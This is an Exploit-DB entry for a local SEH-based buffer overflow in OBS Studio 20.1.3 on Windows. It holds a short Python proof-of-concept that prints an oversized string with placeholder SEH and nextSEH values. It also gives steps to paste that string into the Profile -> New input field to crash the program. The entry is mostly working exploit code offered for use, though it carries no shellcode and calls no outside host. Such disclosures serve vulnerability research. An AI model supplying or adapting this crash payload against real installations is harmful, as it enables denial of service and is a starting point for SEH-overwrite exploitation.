OBS Studio 20.1.3 - Local Buffer Overflow

2018-01-15T00:00:00
ID EDB-ID:43596
Type exploitdb
Reporter Exploit-DB
Modified 2018-01-15T00:00:00

Description

OBS Studio 20.1.3 - Local Buffer Overflow. Dos exploit for Windows platform

                                        
                                            author = '''
   
                ##############################################
                #    Created: ScrR1pTK1dd13                  #
                #    Name: Greg Priest                       #
                #    Mail: ScR1pTK1dd13.slammer@gmail.com    # 
                ##############################################
   
# Exploit Title: OBS-Studio-20.1.3 Local Buffer Overflow Zer0Day (SEH Based PoC)
# Date: 2018.01.15
# Exploit Author: Greg Priest
# Version: OBS-Studio-20.1.3
# Tested on: Windows7 x64 HUN/ENG Enterprise
# Software Download Link: https://obsproject.com/download

'''

bug = '''
Vulnerable input field:
<1> Copy printed "AAAAA...." string to clipboard!
<2> Profile -> New
<3> Paste the string in the input then press Ok

'''
junk = "A" * 459
SEH = "BBBB"
nextSEH = "CCCC"
overflow = "D" * 19533

print author
print "String: ", junk + SEH + nextSEH + overflow
print bug